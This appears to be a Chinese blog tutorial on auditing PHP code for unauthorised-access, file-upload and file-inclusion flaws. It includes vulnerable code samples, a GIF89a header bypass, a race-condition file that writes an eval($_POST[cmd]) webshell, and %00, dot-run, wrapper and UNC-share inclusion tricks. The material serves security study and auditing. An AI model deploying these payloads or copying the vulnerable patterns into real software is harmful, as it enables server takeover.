代码审计之文件操作

  • A+
所属分类:WEB安全

0x00 总体说明

含:越权访问、文件上传、文件包含、文件下载、文件删除、漏洞防护等tips

 

0x01 文件越权和上传搜索技巧

 

1. 越权访问

1.1 文件头未引入像global.php或common.php 的文件极有可能会被越权访问

1.2 搜索技巧:

在etc下查找没有包含“common.php”字符串的php文件

find /etc -name "*.php" | xargs grep -L "common.php"

在etc下查找所有包含“common.php”字符串的PHP文件

find /etc -name "*.php" | xargs grep "common.php"

其他命令参考:http://sundful.iteye.com/blog/1730385

1.3 案例

wooyun-2010-098084

某些文件存在越权访问(无需登录即可访问)
经过WooYun-2015-97939和WooYun-2015-97649的审计得到以下结论:没有包含根目录下global.php的文件,都可以直接访问不会跳转到登陆界面
于是查找可能存在越权访问的文件:

$ find -name "*.php" | xargs grep -L -E "^require_once.+(\.\.\/global|[^/]global)\.php.+;$"

 

 2.文件上传

PS:由于代码获知不全,无法全面剖析

2.1 首先全局搜索type=”file”来判断有没有上传点(关键词”$_FILE”是查找上传文件逻辑处理的地方):

find /code -name  "*.php" | xargs grep "type=\"file\"" > a.txt

2.2 

xx00也是用的php的框架,所以我们打开主页找mvc框架的影子:

www.xx00.com/gold_auction/auction_details/532

www.xx00.com/index/baoming

根据上面两条和源码结构,判断功能函数在/application/controller/目录下
并且判断出http的请求功能函数时应该遵循domain/action/function/param格式。

2.3 我们打开/application/views/phone_test/display.php,发现上传的action=”upload”

2.4 打开/application/controller/phone_test.php,找到upload函数,分析代码可知存在上传漏洞

代码审计之文件操作

from:微信公众号 301在路上

 

0x02 文件上传漏洞挖掘

文件上传漏洞是一种非常常见的漏洞类型,也是直接获取服务器权限最直接的方式,所以快速发掘一套源码文件上传漏洞进行getshell是这篇要讨论的,主要分为危险函数、上传技巧和条件竞争漏洞三方面展开。 

1. 危险函数

move_uploaded_file()

getimagesize()

copy()

2. 知识分类

2.1 危险函数move_uploaded_file()   wooyun-2010-0154077

2.2 上传技巧

2.2.1 %00截断 (GPC开启就废 http://www.joychou.org/index.php/web/truncated.html)

案例:wooyun-2010-0138671

<html>
<body>

<h2> File Upload Vulnerability </h2>
<form action="" method="post" enctype="multipart/form-data">
<label>文件:</label>
<input type="file" name = "file" >   <!-- 选择文件,第二个name是file类型的名字,php中$_FILES第一个参数-->
<input type="submit" value="submit" name = "upload">
</form>

</body>
</html>


<?php
error_reporting(0);

if(isset($_POST['upload']))
{
    $ext_arr = array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp');
    $file_ext = substr($_FILES['file']['name'],strrpos($_FILES['file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr))
    {
        $tempFile = $_FILES['file']['tmp_name'];
        // 这句话的$_REQUEST['jieduan']造成可以利用截断上传
        $targetPath = $_SERVER['DOCUMENT_ROOT']."/".$_REQUEST['vul'].rand(10, 99).date("YmdHis").".".$file_ext;
        if(move_uploaded_file($tempFile,$targetPath))
        {
            echo '上传成功'.'<br>';
            echo "<br \>";
            echo '路径:'.$targetPath;
        }
        else
        {
            echo("上传失败");
        }

    }
else
{
    echo("上传失败");
}

}

?>

代码审计之文件操作

2.2.2 文件头(Gif89a)或者Content-type绕过案例

案例:wooyun-2010-047304

<?php
var_dump(getimagesize("shell.php"));
?>

#shell.php 内容
GIF89a
<?php if(!isset($_POST['c'])){phpinfo();exit();}?>

代码审计之文件操作

若无GIF89a,直接PHP文件,会回显bool(false)

2.3 条件竞争漏洞

<?php
$path = $_GET('P');
copy("image.jpg",$path);
//真实环境里会对目录下非jpg的文件进行删除,这里为了说明问题简单化处理
unlink($path);
?>

image.jpg的代码如下:

<?php fputs(fopen('../shell.php','w'),'<?php @eval($_POST[cmd]) ?>'); ?>

函数copy()  copy成temp.php --> 不断访问temp.php -> temp.php 生成shell.php -> 删除temp.php

案例: wooyun-2013-024919    wooyun-2014-048202    wooyun-2014-049794

 

0x03 文件包含漏洞

文件包含漏洞产生的原因是传入的文件名没有经过合理的校验,从而让黑客包含了精心构造的文件最终造成的代码注入。所以一套源码快速发掘并利用文件包含getshell是这篇要讨论的,主要分为危险函数、本地文件包含、远程文件包含截断技巧四方面展开。

0x0a 知识分类

1. 危险函数:include()  include_once()  require()  require_once()

2. 本地文件包含: e.g.  wooyun-2010-0159386

3. 远程文件包含:

3.1 普通远程文件包含:条件:allow_url_include=on   allow_url_fopen=on     案例:wooyun-2010-0126273

3.2 伪协议 : 条件 all_url_include = on   php://input和php:filter

3.3 包含共享文件:条件 all_url_include=on   e.g. http://localhost/?bob=\\192.168.1.102\share\index.php

4.截断技巧(PHP5.3 就修复)

4.1 %00截断

(GPC开启就废http://www.joychou.org/index.php/web/truncated.html)

wooyun-2013-042144     wooyun-2010-0151653    wooyun-2010-0182886

4.2 多个./截断

windows 240个. 或者./ 可以阶段  http://localhost/a.php?c=test.txt././././...

linux 2038个/.截断案例

wooyun-2010-02236

wooyun-2010-058128

 

0x0b本地文件包含

本地文件包含漏洞常用的场景是用户上传头像image.jpg,image.jpg里存在PHP一句话木马,然后我们利用本地文件包含将image.jpg加载进来即可执行一句话命令从而getshell。缺陷代码如下:

<?php include($_GET['action']); ?>

程序本意是获取action并引入action里的功能函数,这里我们上传了头像image.jpg,然后包含进来发现在页面显示了phpinfo的信息:

代码审计之文件操作

0x0c 远程文件包含

1. 普通远程文件包含

条件:allow_url_include=on(默认off)、allow_url_fopen=on

<?php include($_GET['action']); ?>

代码审计之文件操作

若allow_url_include=off

代码审计之文件操作

若all_url_include=On 测试结果如下

代码审计之文件操作

 

2.有限制的远程文件包含

条件:allow_url_include=on

伪协议php://input和php://filter包含

测试发现可以继续愉快的包含了

代码审计之文件操作

包含共享文件

这种情况是你可以传到文件到内网某台服务器192.168.192.129,假如这台服务器是ftp是开了共享的就可以通过下面方法进行包含:

http://localhost/fileinclude.php?action=\\192.168.192.129\share\test.txt

代码审计之文件操作

 

 0x0d 截断技巧

 

1.PHP%00截断

截断条件:

①PHP版本小于5.3.4,详情请查看[CVE-2006-7243](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-7243)

②magic_quotes_gpc=Off,否则%00这种空字符会被转义为\0

搭建好满足上面两个条件的测试环境后,可以用下面的漏洞代码来测试:

 

<?php include($_GET['action'].".zip" ); ?>

不同之处是这里后面强制加了zip的后缀,所以需要通过截断的技巧来继续包含

 代码审计之文件操作

2.多个./截断

截断条件:PHP版本小于5.3

Windows240个.或者./可以截断

测试240个点截断成功如下图(win10 据实际测试233个.也可以成功,但少一个便会报错):

 代码审计之文件操作

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

last-update

 

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: